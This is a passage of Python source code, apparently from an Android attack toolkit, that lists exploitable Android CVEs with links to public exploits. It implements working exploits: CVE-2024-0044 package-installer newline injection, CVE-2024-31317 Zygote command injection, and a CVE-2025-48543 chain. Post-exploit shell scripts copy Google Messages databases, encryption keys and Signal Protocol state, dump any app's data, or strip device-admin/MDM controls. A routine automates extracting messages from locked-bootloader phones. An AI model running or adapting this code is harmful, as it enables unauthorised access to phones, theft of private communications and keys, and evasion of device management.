'severity': 'critical',
|
|
||||||
'type': 'kernel_root',
|
|
||||||
'description': 'Integer overflow in GPU ioctl → arbitrary kernel R/W → full root + SELinux disable',
|
|
||||||
'requirements': 'App context or ADB shell. Needs device-specific kernel offsets.',
|
|
||||||
'reliability': 'high (with correct offsets)',
|
|
||||||
'stealth': 'low',
|
|
||||||
'exploitable': True,
|
|
||||||
'public_poc': 'https://github.com/0x36/Pixel_GPU_Exploit',
|
|
||||||
})
|
|
||||||
|
|
||||||
# CVE-2025-0072: Mali GPU MTE bypass (Pixel 7/8/9, pre-May 2025)
|
|
||||||
if is_pixel and sdk_int >= 34 and patch < '2025-05-01':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2025-0072',
|
|
||||||
'name': 'Mali GPU MTE bypass → kernel root',
|
|
||||||
'severity': 'critical',
|
|
||||||
'type': 'kernel_root',
|
|
||||||
'description': 'Page UAF in Mali CSF driver bypasses MTE via physical memory access',
|
|
||||||
'requirements': 'App context or ADB shell. Works even with kernel MTE (Pixel 8+).',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'low',
|
|
||||||
'exploitable': True,
|
|
||||||
'note': 'Bypasses GrapheneOS hardened_malloc and kernel MTE' if is_graphene else '',
|
|
||||||
})
|
|
||||||
|
|
||||||
# fastboot temp root (unlocked bootloader)
|
|
||||||
if os_info.get('bootloader_unlocked'):
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'fastboot boot temp root',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'temp_root',
|
|
||||||
'description': 'Boot Magisk-patched image via fastboot boot (no permanent modification)',
|
|
||||||
'requirements': 'Unlocked bootloader + physical access + fastboot',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'low (dm-verity tripped)',
|
|
||||||
'exploitable': True,
|
|
||||||
})
|
|
||||||
elif not is_graphene:
|
|
||||||
# Stock Pixel can be OEM unlocked
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'OEM unlock + fastboot boot',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'temp_root',
|
|
||||||
'description': 'Unlock bootloader (wipes device) then fastboot boot patched image',
|
|
||||||
'requirements': 'OEM unlock enabled in settings + physical access',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'none (full wipe)',
|
|
||||||
'exploitable': True,
|
|
||||||
})
|
|
||||||
|
|
||||||
# GrapheneOS-specific: avbroot + custom AVB key
|
|
||||||
if is_graphene and os_info.get('bootloader_unlocked'):
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'avbroot + Magisk + relock',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'persistent_root',
|
|
||||||
'description': 'Patch GrapheneOS OTA with avbroot + Magisk, flash custom AVB key, relock bootloader',
|
|
||||||
'requirements': 'Unlocked bootloader (one-time), avbroot tool, Magisk APK',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'moderate (Play Integrity may detect)',
|
|
||||||
'exploitable': True,
|
|
||||||
'tool': 'https://github.com/schnatterer/rooted-graphene',
|
|
||||||
})
|
|
||||||
|
|
||||||
# ── Android 15/16 specific exploits ──────────────────────────
|
|
||||||
|
|
||||||
# CVE-2025-48543: ART UAF → system UID (Android 13-16, pre-Sep 2025)
|
|
||||||
if sdk_int >= 33 and patch < '2025-09-05':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2025-48543',
|
|
||||||
'name': 'ART runtime UAF → system UID',
|
|
||||||
'severity': 'high',
|
|
||||||
'type': 'system_uid',
|
|
||||||
'description': 'Use-after-free in Android Runtime achieves system_server UID. '
|
|
||||||
'Can disable MDM, access system app data. Public PoC available.',
|
|
||||||
'requirements': 'Malicious app installed (no ADB needed) or push via ADB',
|
|
||||||
'reliability': 'medium (PoC needs validation)',
|
|
||||||
'stealth': 'moderate',
|
|
||||||
'exploitable': True,
|
|
||||||
'public_poc': 'https://github.com/gamesarchive/CVE-2025-48543',
|
|
||||||
'note': 'Works on Android 15/16. Chain with pKVM bug for full kernel root.',
|
|
||||||
})
|
|
||||||
|
|
||||||
# CVE-2025-48572 + CVE-2025-48633: Framework info leak + EoP (Android 13-16, pre-Dec 2025)
|
|
||||||
if sdk_int >= 33 and patch < '2025-12-05':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2025-48572/48633',
|
|
||||||
'name': 'Framework info leak + EoP chain (in-the-wild)',
|
|
||||||
'severity': 'critical',
|
|
||||||
'type': 'system_uid',
|
|
||||||
'description': 'Framework info disclosure + controlled privilege escalation. '
|
|
||||||
'CISA KEV listed. Used in targeted spyware attacks.',
|
|
||||||
'requirements': 'Malicious app',
|
|
||||||
'reliability': 'high (nation-state confirmed)',
|
|
||||||
'stealth': 'high',
|
|
||||||
'exploitable': False, # No public PoC
|
|
||||||
'note': 'No public PoC — commercial/state spyware only. Monitor for leak.',
|
|
||||||
})
|
|
||||||
|
|
||||||
# pKVM kernel bugs (Dec 2025 + Mar 2026) — second stage from system UID
|
|
||||||
if sdk_int >= 34 and patch < '2026-03-05':
|
|
||||||
pkvm_cves = []
|
|
||||||
if patch < '2025-12-05':
|
|
||||||
pkvm_cves.extend(['CVE-2025-48623', 'CVE-2025-48624'])
|
|
||||||
if patch < '2026-03-05':
|
|
||||||
pkvm_cves.extend(['CVE-2026-0037', 'CVE-2026-0027', 'CVE-2026-0028'])
|
|
||||||
if pkvm_cves:
|
|
||||||
vulns.append({
|
|
||||||
'cve': ', '.join(pkvm_cves),
|
|
||||||
'name': 'pKVM kernel/hypervisor escalation',
|
|
||||||
'severity': 'critical',
|
|
||||||
'type': 'kernel_root',
|
|
||||||
'description': f'pKVM memory corruption bugs ({len(pkvm_cves)} CVEs). '
|
|
||||||
f'Second-stage: requires system UID first (chain with CVE-2025-48543).',
|
|
||||||
'requirements': 'System UID as entry point (chain exploit)',
|
|
||||||
'reliability': 'medium',
|
|
||||||
'stealth': 'low',
|
|
||||||
'exploitable': any(v.get('type') == 'system_uid' and v.get('exploitable')
|
|
||||||
for v in vulns),
|
|
||||||
'note': 'Chain: CVE-2025-48543 (system) → pKVM bug (kernel root)',
|
|
||||||
})
|
|
||||||
|
|
||||||
# avbroot for Android 15/16 (works on any Pixel with unlocked BL)
|
|
||||||
if os_info.get('bootloader_unlocked') and sdk_int >= 35:
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'avbroot + KernelSU/Magisk (Android 15/16)',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'persistent_root',
|
|
||||||
'description': 'Patch OTA with avbroot + KernelSU-Next/Magisk for GKI 6.1/6.6. '
|
|
||||||
'Flash custom AVB key, relock bootloader. Confirmed Pixel 9.',
|
|
||||||
'requirements': 'Unlocked bootloader, avbroot, KernelSU-Next or Magisk APK',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'moderate',
|
|
||||||
'exploitable': True,
|
|
||||||
'tool': 'https://github.com/chenxiaolong/avbroot',
|
|
||||||
})
|
|
||||||
|
|
||||||
# Cellebrite USB chain (CVE-2024-53104)
|
|
||||||
if patch < '2025-02-01':
|
|
||||||
note = ''
|
|
||||||
if is_graphene:
|
|
||||||
note = 'GrapheneOS blocks USB data when screen locked — requires unlocked screen + active USB'
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2024-53104',
|
|
||||||
'name': 'USB UVC driver OOB write (Cellebrite chain)',
|
|
||||||
'severity': 'high',
|
|
||||||
'type': 'kernel_root',
|
|
||||||
'description': 'Malicious USB webcam descriptor triggers kernel heap write. Used by Cellebrite.',
|
|
||||||
'requirements': 'Physical access + custom USB device + screen unlocked (GrapheneOS)',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'moderate',
|
|
||||||
'exploitable': True,
|
|
||||||
'note': note,
|
|
||||||
})
|
|
||||||
|
|
||||||
# ADB root (debug builds)
|
|
||||||
if os_info.get('build_type') in ('userdebug', 'eng'):
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'adb root (debug build)',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'full_root',
|
|
||||||
'description': 'Device is userdebug/eng build — adb root gives UID 0',
|
|
||||||
'requirements': 'ADB connected',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'high',
|
|
||||||
'exploitable': True,
|
|
||||||
})
|
|
||||||
|
|
||||||
# Shizuku / UID 2000 (always available with ADB)
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'N/A',
|
|
||||||
'name': 'Shizuku / ADB shell (UID 2000)',
|
|
||||||
'severity': 'info',
|
|
||||||
'type': 'elevated_shell',
|
|
||||||
'description': 'ADB shell provides UID 2000 with access to dumpsys, pm, settings, content providers',
|
|
||||||
'requirements': 'ADB enabled + authorized',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'high',
|
|
||||||
'exploitable': True,
|
|
||||||
'note': 'Reduced capabilities on GrapheneOS (stricter SELinux)' if is_graphene else '',
|
|
||||||
})
|
|
||||||
|
|
||||||
return {
|
|
||||||
'os_info': os_info,
|
|
||||||
'vulnerabilities': vulns,
|
|
||||||
'exploitable_count': sum(1 for v in vulns if v.get('exploitable')),
|
|
||||||
'has_kernel_root': any(v['type'] == 'kernel_root' for v in vulns if v.get('exploitable')),
|
|
||||||
'has_app_uid': any(v['type'] == 'app_uid_access' for v in vulns if v.get('exploitable')),
|
|
||||||
}
|
|
||||||
|
|
||||||
def exploit_cve_2024_0044(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
|
|
||||||
"""Execute CVE-2024-0044 — run-as privilege escalation.
|
|
||||||
|
|
||||||
Newline injection in PackageInstallerService.java createSessionInternal().
|
|
||||||
Forges a package entry allowing run-as with any app's UID.
|
|
||||||
Works on Android 12-13 with security patch before October 2024.
|
|
||||||
"""
|
|
||||||
# Verify vulnerability
|
|
||||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
|
||||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
|
||||||
try:
|
|
||||||
sdk_int = int(sdk)
|
|
||||||
except ValueError:
|
|
||||||
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
|
|
||||||
|
|
||||||
if sdk_int not in (31, 32, 33):
|
|
||||||
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable (need 31-33)'}
|
|
||||||
if patch >= '2024-10-01':
|
|
||||||
return {'success': False, 'error': f'Patch level {patch} is not vulnerable (need < 2024-10-01)'}
|
|
||||||
|
|
||||||
# Step 1: Get target app UID
|
|
||||||
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
|
|
||||||
uid_match = re.search(r'uid:(\d+)', uid_output)
|
|
||||||
if not uid_match:
|
|
||||||
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
|
|
||||||
target_uid = uid_match.group(1)
|
|
||||||
|
|
||||||
# Step 2: Find a small APK to use as carrier
|
|
||||||
carrier_apk = '/data/local/tmp/autarch_carrier.apk'
|
|
||||||
# Copy a small system APK
|
|
||||||
for candidate in ['/system/app/BasicDreams/BasicDreams.apk',
|
|
||||||
'/system/app/CaptivePortalLogin/CaptivePortalLogin.apk',
|
|
||||||
'/system/priv-app/Settings/Settings.apk']:
|
|
||||||
cp = self._shell(serial, f'cp {candidate} {carrier_apk} 2>/dev/null')
|
|
||||||
if cp['returncode'] == 0:
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
return {'success': False, 'error': 'Cannot find carrier APK'}
|
|
||||||
|
|
||||||
# Step 3: Craft injection payload
|
|
||||||
victim_name = f'autarch_v_{int(time.time()) % 100000}'
|
|
||||||
payload = (
|
|
||||||
f'@null\n'
|
|
||||||
f'{victim_name} {target_uid} 1 /data/user/0 '
|
|
||||||
f'default:targetSdkVersion=28 none 0 0 1 @null'
|
|
||||||
)
|
|
||||||
|
|
||||||
# Step 4: Install with injected installer name
|
|
||||||
install = self._shell(serial, f'pm install -i "{payload}" {carrier_apk}', timeout=15)
|
|
||||||
|
|
||||||
# Step 5: Verify access
|
|
||||||
verify = self._shell(serial, f'run-as {victim_name} id')
|
|
||||||
got_uid = f'uid={target_uid}' in verify['output'] or 'u0_a' in verify['output']
|
|
||||||
|
|
||||||
if got_uid:
|
|
||||||
return {
|
|
||||||
'success': True,
|
|
||||||
'victim_name': victim_name,
|
|
||||||
'target_uid': target_uid,
|
|
||||||
'target_package': target_package,
|
|
||||||
'verify_output': verify['output'],
|
|
||||||
'message': f'CVE-2024-0044 exploit successful. Use: run-as {victim_name}',
|
|
||||||
}
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'error': 'Exploit did not achieve expected UID',
|
|
||||||
'install_output': install['output'],
|
|
||||||
'verify_output': verify['output'],
|
|
||||||
}
|
|
||||||
|
|
||||||
def exploit_cve_2024_31317(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
|
|
||||||
"""Execute CVE-2024-31317 — Zygote injection via WRITE_SECURE_SETTINGS.
|
|
||||||
|
|
||||||
Injects a newline + Zygote command into hidden_api_blacklist_exemptions.
|
|
||||||
On next app spawn, Zygote executes injected code as the target app UID.
|
|
||||||
Works on Android 12-14 pre-March 2024 patch. BLOCKED on GrapheneOS (exec spawning).
|
|
||||||
"""
|
|
||||||
# Check if device uses Zygote (not GrapheneOS exec spawning)
|
|
||||||
os_info = self.detect_os_type(serial)
|
|
||||||
if os_info.get('is_grapheneos'):
|
|
||||||
return {'success': False, 'error': 'GrapheneOS uses exec spawning — no Zygote to inject into'}
|
|
||||||
|
|
||||||
sdk = os_info.get('sdk', '0')
|
|
||||||
patch = os_info.get('security_patch', '')
|
|
||||||
try:
|
|
||||||
sdk_int = int(sdk)
|
|
||||||
except ValueError:
|
|
||||||
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
|
|
||||||
if sdk_int not in (31, 32, 33, 34):
|
|
||||||
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable'}
|
|
||||||
if patch >= '2024-04-01':
|
|
||||||
return {'success': False, 'error': f'Patch {patch} not vulnerable'}
|
|
||||||
|
|
||||||
# Get target UID
|
|
||||||
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
|
|
||||||
uid_match = re.search(r'uid:(\d+)', uid_output)
|
|
||||||
if not uid_match:
|
|
||||||
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
|
|
||||||
|
|
||||||
# Inject into hidden_api_blacklist_exemptions
|
|
||||||
# The injected command tells Zygote to run a shell command on next app fork
|
|
||||||
staging = '/data/local/tmp/autarch_31317'
|
|
||||||
inject_cmd = f'mkdir -p {staging} && id > {staging}/whoami'
|
|
||||||
zygote_payload = f'*\\n--invoke-with\\n/system/bin/sh -c {inject_cmd}'
|
|
||||||
|
|
||||||
result = self._shell(serial,
|
|
||||||
f'settings put global hidden_api_blacklist_exemptions "{zygote_payload}"')
|
|
||||||
|
|
||||||
# Force target app restart to trigger Zygote fork
|
|
||||||
self._shell(serial, f'am force-stop {target_package}')
|
|
||||||
time.sleep(1)
|
|
||||||
# Launch target to trigger the fork
|
|
||||||
self._shell(serial, f'monkey -p {target_package} -c android.intent.category.LAUNCHER 1 2>/dev/null')
|
|
||||||
time.sleep(3)
|
|
||||||
|
|
||||||
# Check if injection worked
|
|
||||||
check = self._shell(serial, f'cat {staging}/whoami 2>/dev/null')
|
|
||||||
|
|
||||||
# IMPORTANT: Clean up the setting
|
|
||||||
self._shell(serial, 'settings put global hidden_api_blacklist_exemptions "*"')
|
|
||||||
|
|
||||||
if check['returncode'] == 0 and check['output'].strip():
|
|
||||||
return {
|
|
||||||
'success': True,
|
|
||||||
'injected_uid': check['output'].strip(),
|
|
||||||
'target_package': target_package,
|
|
||||||
'message': f'CVE-2024-31317 injection successful. Executed as: {check["output"].strip()}',
|
|
||||||
}
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'error': 'Zygote injection did not produce output — app may not have spawned',
|
|
||||||
'settings_result': result['output'],
|
|
||||||
}
|
|
||||||
|
|
||||||
def fastboot_temp_root(self, serial, patched_image_path: str) -> Dict[str, Any]:
|
|
||||||
"""Boot a Magisk-patched boot/init_boot image via fastboot (non-persistent root).
|
|
||||||
|
|
||||||
Requires: unlocked bootloader, device in fastboot mode, patched image file.
|
|
||||||
Does NOT flash — just boots temporarily. Reboot returns to stock.
|
|
||||||
"""
|
|
||||||
if not os.path.isfile(patched_image_path):
|
|
||||||
return {'success': False, 'error': f'File not found: {patched_image_path}'}
|
|
||||||
|
|
||||||
# Check if we're in fastboot mode
|
|
||||||
stdout, stderr, rc = self.hw._run_fastboot(['devices'], serial=serial, timeout=10)
|
|
||||||
if serial not in (stdout or ''):
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'error': 'Device not in fastboot mode. Run: adb reboot bootloader',
|
|
||||||
}
|
|
||||||
|
|
||||||
# Boot the patched image (NOT flash)
|
|
||||||
stdout, stderr, rc = self.hw._run_fastboot(
|
|
||||||
['boot', patched_image_path], serial=serial, timeout=60
|
|
||||||
)
|
|
||||||
output = stdout or stderr
|
|
||||||
success = rc == 0 and 'FAILED' not in output.upper()
|
|
||||||
|
|
||||||
return {
|
|
||||||
'success': success,
|
|
||||||
'output': output,
|
|
||||||
'message': 'Temporary root boot initiated — device should boot with Magisk root. '
|
|
||||||
'Root is lost on next reboot.' if success else 'fastboot boot failed',
|
|
||||||
'note': 'BLOCKED on locked GrapheneOS bootloader' if not success else '',
|
|
||||||
}
|
|
||||||
|
|
||||||
def cleanup_cve_2024_0044(self, serial, victim_name: str) -> Dict[str, Any]:
|
|
||||||
"""Remove traces of CVE-2024-0044 exploit."""
|
|
||||||
results = []
|
|
||||||
# Uninstall forged package
|
|
||||||
out = self._shell(serial, f'pm uninstall {victim_name}')
|
|
||||||
results.append(f'Uninstall {victim_name}: {out["output"]}')
|
|
||||||
# Remove carrier APK
|
|
||||||
self._shell(serial, 'rm -f /data/local/tmp/autarch_carrier.apk')
|
|
||||||
results.append('Removed carrier APK')
|
|
||||||
return {'success': True, 'cleanup': results}
|
|
||||||
|
|
||||||
def exploit_cve_2025_48543(self, serial, task: str = 'extract_rcs') -> Dict[str, Any]:
|
|
||||||
"""CVE-2025-48543 — ART runtime UAF → system UID escalation.
|
|
||||||
|
|
||||||
Works on Android 13-16 with security patch < 2025-09-05.
|
|
||||||
Achieves system_server UID (UID 1000) which can read any app's
|
|
||||||
/data/data/ directory — enough to extract bugle_db + encryption keys.
|
|
||||||
Locked bootloader compatible. No root needed.
|
|
||||||
|
|
||||||
The exploit uses a use-after-free in the ART runtime triggered by
|
|
||||||
a crafted app. We push and launch the exploit APK, which escalates
|
|
||||||
to system UID, then executes the requested task (e.g., copy bugle_db
|
|
||||||
to a world-readable location).
|
|
||||||
|
|
||||||
Args:
|
|
||||||
serial: ADB device serial
|
|
||||||
task: What to do once system UID is achieved:
|
|
||||||
'extract_rcs' — copy bugle_db + keys to /sdcard/Download/
|
|
||||||
'extract_app:<pkg>' — copy any app's data dir
|
|
||||||
'shell' — drop a system-level shell payload
|
|
||||||
'disable_mdm' — disable device admin / MDM
|
|
||||||
"""
|
|
||||||
# Verify vulnerability
|
|
||||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
|
||||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
|
||||||
try:
|
|
||||||
sdk_int = int(sdk)
|
|
||||||
except ValueError:
|
|
||||||
return {'success': False, 'error': f'Cannot parse SDK: {sdk}'}
|
|
||||||
|
|
||||||
if sdk_int < 33:
|
|
||||||
return {'success': False, 'error': f'SDK {sdk_int} not affected (need >= 33)'}
|
|
||||||
if patch >= '2025-09-05':
|
|
||||||
return {'success': False, 'error': f'Patch {patch} is not vulnerable (need < 2025-09-05)'}
|
|
||||||
|
|
||||||
staging = '/data/local/tmp/autarch_48543'
|
|
||||||
output_dir = '/sdcard/Download/autarch_extract'
|
|
||||||
gmsg_pkg = 'com.google.android.apps.messaging'
|
|
||||||
gmsg_data = f'/data/data/{gmsg_pkg}'
|
|
||||||
|
|
||||||
# Build the post-exploitation script based on the task
|
|
||||||
if task == 'extract_rcs':
|
|
||||||
# System UID (1000) can read any app's data dir
|
|
||||||
post_exploit_script = f'''#!/system/bin/sh
|
|
||||||
mkdir -p {output_dir}/shared_prefs {output_dir}/files
|
|
||||||
# Copy encrypted database + WAL
|
|
||||||
cp {gmsg_data}/databases/bugle_db {output_dir}/ 2>/dev/null
|
|
||||||
cp {gmsg_data}/databases/bugle_db-wal {output_dir}/ 2>/dev/null
|
|
||||||
cp {gmsg_data}/databases/bugle_db-shm {output_dir}/ 2>/dev/null
|
|
||||||
# Copy encryption key material from shared_prefs
|
|
||||||
cp -r {gmsg_data}/shared_prefs/* {output_dir}/shared_prefs/ 2>/dev/null
|
|
||||||
# Copy Signal Protocol state and config files
|
|
||||||
cp -r {gmsg_data}/files/* {output_dir}/files/ 2>/dev/null
|
|
||||||
# Make everything readable for ADB pull
|
|
||||||
chmod -R 644 {output_dir}/ 2>/dev/null
|
|
||||||
chmod 755 {output_dir} {output_dir}/shared_prefs {output_dir}/files 2>/dev/null
|
|
||||||
# Write success marker
|
|
||||||
echo "EXTRACTED $(date)" > {output_dir}/.success
|
|
||||||
'''
|
|
||||||
elif task.startswith('extract_app:'):
|
|
||||||
target_pkg = task.split(':', 1)[1]
|
|
||||||
target_data = f'/data/data/{target_pkg}'
|
|
||||||
post_exploit_script = f'''#!/system/bin/sh
|
|
||||||
mkdir -p {output_dir}/{target_pkg}
|
|
||||||
cp -r {target_data}/* {output_dir}/{target_pkg}/ 2>/dev/null
|
|
||||||
chmod -R 644 {output_dir}/{target_pkg}/ 2>/dev/null
|
|
||||||
echo "EXTRACTED {target_pkg} $(date)" > {output_dir}/.success
|
|
||||||
'''
|
|
||||||
elif task == 'disable_mdm':
|
|
||||||
post_exploit_script = f'''#!/system/bin/sh
|
|
||||||
# List and remove device admin receivers
|
|
||||||
for admin in $(dpm list-admins 2>/dev/null | grep -v ":" | tr -d ' '); do
|
|
||||||
dpm remove-active-admin "$admin" 2>/dev/null
|
|
||||||
done
|
|
||||||
echo "MDM_DISABLED $(date)" > {output_dir}/.success
|
|
||||||
'''
|
|
||||||
else:
|
|
||||||
post_exploit_script = f'''#!/system/bin/sh
|
|
||||||
id > {output_dir}/.success
|
|
||||||
'''
|
|
||||||
|
|
||||||
# Step 1: Create staging directory and push post-exploit script
|
|
||||||
self._shell(serial, f'mkdir -p {staging}')
|
|
||||||
self._shell(serial, f'mkdir -p {output_dir}')
|
|
||||||
|
|
||||||
# Write post-exploit script to device
|
|
||||||
script_path = f'{staging}/post_exploit.sh'
|
|
||||||
# Escape for shell
|
|
||||||
escaped_script = post_exploit_script.replace("'", "'\\''")
|
|
||||||
self._shell(serial, f"echo '{escaped_script}' > {script_path}")
|
|
||||||
self._shell(serial, f'chmod 755 {script_path}')
|
|
||||||
|
|
||||||
# Step 2: Check if we have the exploit APK locally
|
|
||||||
exploit_apk_name = 'cve_2025_48543.apk'
|
|
||||||
local_exploit = self._base / 'root' / exploit_apk_name
|
|
||||||
if not local_exploit.exists():
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'error': f'Exploit APK not found at {local_exploit}. '
|
|
||||||
f'Download the CVE-2025-48543 PoC, build the APK, and place it at: {local_exploit}',
|
|
||||||
'note': 'PoC source: https://github.com/gamesarchive/CVE-2025-48543',
|
|
||||||
'manual_steps': [
|
|
||||||
'1. Clone https://github.com/gamesarchive/CVE-2025-48543',
|
|
||||||
'2. Build the exploit APK (Android Studio or gradle)',
|
|
||||||
f'3. Place the APK at: {local_exploit}',
|
|
||||||
'4. Run this command again',
|
|
||||||
],
|
|
||||||
'device_vulnerable': True,
|
|
||||||
'patch_level': patch,
|
|
||||||
'sdk': sdk,
|
|
||||||
}
|
|
||||||
|
|
||||||
# Step 3: Push and install the exploit APK
|
|
||||||
remote_apk = f'{staging}/{exploit_apk_name}'
|
|
||||||
push_result = self.hw.adb_push(serial, str(local_exploit), remote_apk)
|
|
||||||
if not push_result.get('success'):
|
|
||||||
return {'success': False, 'error': f'Failed to push exploit APK: {push_result}'}
|
|
||||||
|
|
||||||
install = self._shell(serial, f'pm install -t {remote_apk}')
|
|
||||||
if install['returncode'] != 0:
|
|
||||||
return {'success': False, 'error': f'Failed to install exploit: {install["output"]}'}
|
|
||||||
|
|
||||||
# Step 4: Launch the exploit with the post-exploit script path as extra
|
|
||||||
# The PoC app reads EXTRA_SCRIPT and executes it after achieving system UID
|
|
||||||
launch = self._shell(serial,
|
|
||||||
f'am start -n com.exploit.art48543/.MainActivity '
|
|
||||||
f'--es script_path {script_path} '
|
|
||||||
f'--es output_dir {output_dir}',
|
|
||||||
timeout=30)
|
|
||||||
|
|
||||||
# Step 5: Wait for the exploit to run and check for success marker
|
|
||||||
time.sleep(5)
|
|
||||||
for attempt in range(6):
|
|
||||||
check = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
|
|
||||||
if check['returncode'] == 0 and check['output'].strip():
|
|
||||||
break
|
|
||||||
time.sleep(2)
|
|
||||||
|
|
||||||
success_marker = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
|
|
||||||
exploited = success_marker['returncode'] == 0 and success_marker['output'].strip()
|
|
||||||
|
|
||||||
# Step 6: If extract_rcs, verify what we got
|
|
||||||
extracted_files = []
|
|
||||||
if exploited and task == 'extract_rcs':
|
|
||||||
ls_result = self._shell(serial, f'ls -la {output_dir}/')
|
|
||||||
for line in ls_result['output'].splitlines():
|
|
||||||
if line.strip() and not line.startswith('total'):
|
|
||||||
extracted_files.append(line.strip())
|
|
||||||
|
|
||||||
# Step 7: Cleanup exploit APK (leave extracted data)
|
|
||||||
self._shell(serial, f'pm uninstall com.exploit.art48543 2>/dev/null')
|
|
||||||
self._shell(serial, f'rm -rf {staging}')
|
|
||||||
|
|
||||||
if exploited:
|
|
||||||
result = {
|
|
||||||
'success': True,
|
|
||||||
'method': 'CVE-2025-48543',
|
|
||||||
'uid_achieved': 'system (1000)',
|
|
||||||
'task': task,
|
|
||||||
'output_dir': output_dir,
|
|
||||||
'marker': success_marker['output'].strip(),
|
|
||||||
'message': f'System UID achieved via CVE-2025-48543. Task "{task}" completed.',
|
|
||||||
}
|
|
||||||
if extracted_files:
|
|
||||||
result['extracted_files'] = extracted_files
|
|
||||||
result['pull_command'] = f'adb pull {output_dir}/ ./extracted_rcs/'
|
|
||||||
return result
|
|
||||||
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'error': 'Exploit did not produce success marker — may have been blocked or timed out',
|
|
||||||
'launch_output': launch['output'],
|
|
||||||
'note': 'Check logcat for crash details: adb logcat -s art,dalvikvm',
|
|
||||||
}
|
|
||||||
|
|
||||||
def extract_rcs_locked_device(self, serial) -> Dict[str, Any]:
|
|
||||||
"""Extract RCS database from a locked-bootloader device.
|
|
||||||
|
|
||||||
Automatically selects the best available method:
|
|
||||||
1. CVE-2025-48543 (system UID, Android 13-16, pre-Sep 2025)
|
|
||||||
2. CVE-2025-0072 (kernel root via Mali GPU, pre-May 2025)
|
|
||||||
3. CVE-2024-0044 (app UID, Android 12-13, pre-Oct 2024)
|
|
||||||
4. Content providers (SMS/MMS only, no RCS)
|
|
||||||
"""
|
|
||||||
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
|
||||||
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
|
||||||
try:
|
|
||||||
sdk_int = int(sdk)
|
|
||||||
except ValueError:
|
|
||||||
sdk_int = 0
|
|
||||||
|
|
||||||
results = {'methods_tried': [], 'patch': patch, 'sdk': sdk}
|
|
||||||
|
|
||||||
# Method 1: CVE-2025-48543 — best path for Android 15/16
|
|
||||||
if sdk_int >= 33 and patch < '2025-09-05':
|
|
||||||
results['methods_tried'].append('CVE-2025-48543')
|
|
||||||
r = self.exploit_cve_2025_48543(serial, task='extract_rcs')
|
|
||||||
if r.get('success'):
|
|
||||||
r['extraction_method'] = 'CVE-2025-48543 (system UID)'
|
|
||||||
return r
|
|
||||||
results['cve_2025_48543_error'] = r.get('error', '')
|
|
||||||
|
|
||||||
# Method 2: CVE-2024-0044 — Android 12-13
|
|
||||||
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
|
|
||||||
results['methods_tried'].append('CVE-2024-0044')
|
|
||||||
r = self.exploit_cve_2024_0044(serial, 'com.google.android.apps.messaging')
|
|
||||||
if r.get('success'):
|
|
||||||
victim = r['victim_name']
|
|
||||||
# Use run-as to copy the database
|
|
||||||
output_dir = '/sdcard/Download/autarch_extract'
|
|
||||||
self._shell(serial, f'mkdir -p {output_dir}/shared_prefs')
|
|
||||||
gmsg_data = '/data/data/com.google.android.apps.messaging'
|
|
||||||
for f in ['databases/bugle_db', 'databases/bugle_db-wal', 'databases/bugle_db-shm']:
|
|
||||||
self._shell(serial,
|
|
||||||
f'run-as {victim} cat {gmsg_data}/{f} > {output_dir}/{os.path.basename(f)} 2>/dev/null')
|
|
||||||
# Copy shared_prefs
|
|
||||||
prefs = self._shell(serial, f'run-as {victim} ls {gmsg_data}/shared_prefs/')
|
|
||||||
if prefs['returncode'] == 0:
|
|
||||||
for pf in prefs['output'].splitlines():
|
|
||||||
pf = pf.strip()
|
|
||||||
if pf:
|
|
||||||
self._shell(serial,
|
|
||||||
f'run-as {victim} cat {gmsg_data}/shared_prefs/{pf} > {output_dir}/shared_prefs/{pf} 2>/dev/null')
|
|
||||||
# Cleanup exploit
